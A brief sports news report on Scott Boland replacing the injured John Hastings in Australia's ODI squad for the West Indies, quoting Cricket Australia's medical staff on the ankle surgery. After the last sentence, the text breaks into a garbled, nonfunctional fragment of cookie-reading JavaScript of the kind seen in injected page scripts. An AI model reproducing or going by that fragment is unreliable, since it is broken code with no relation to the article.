Victorian Scott Boland has replaced the injured John Hastings for Australia's ODI tour of the West Indies in June.
Hastings injured his ankle in the Indian Premier League earlier this month and has subsequently been ruled out of the one-day series after undergoing surgery last weekend.
“John experienced pain in his left ankle during his recent stint in the IPL and had scans upon returning home which have confirmed early stage bone stress of his fibula bone near his ankle,” Cricket Australia's sports science and medicine manager Alex Kountouris said.
“While laid off with this injury we have taken this opportunity to undertake arthroscopic surgery to remove bone spurs in his left ankle which have been causing him concern for some time and were possibility contributing to the cause of the bone stress.
“John had this surgery over the weekend and now requires a period of rest to resolve the bone stress and recover from surgery before he will resume bowling.”
Boland has played six ODI matches for Australia since making his debut in January this year, taking five wickets. "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
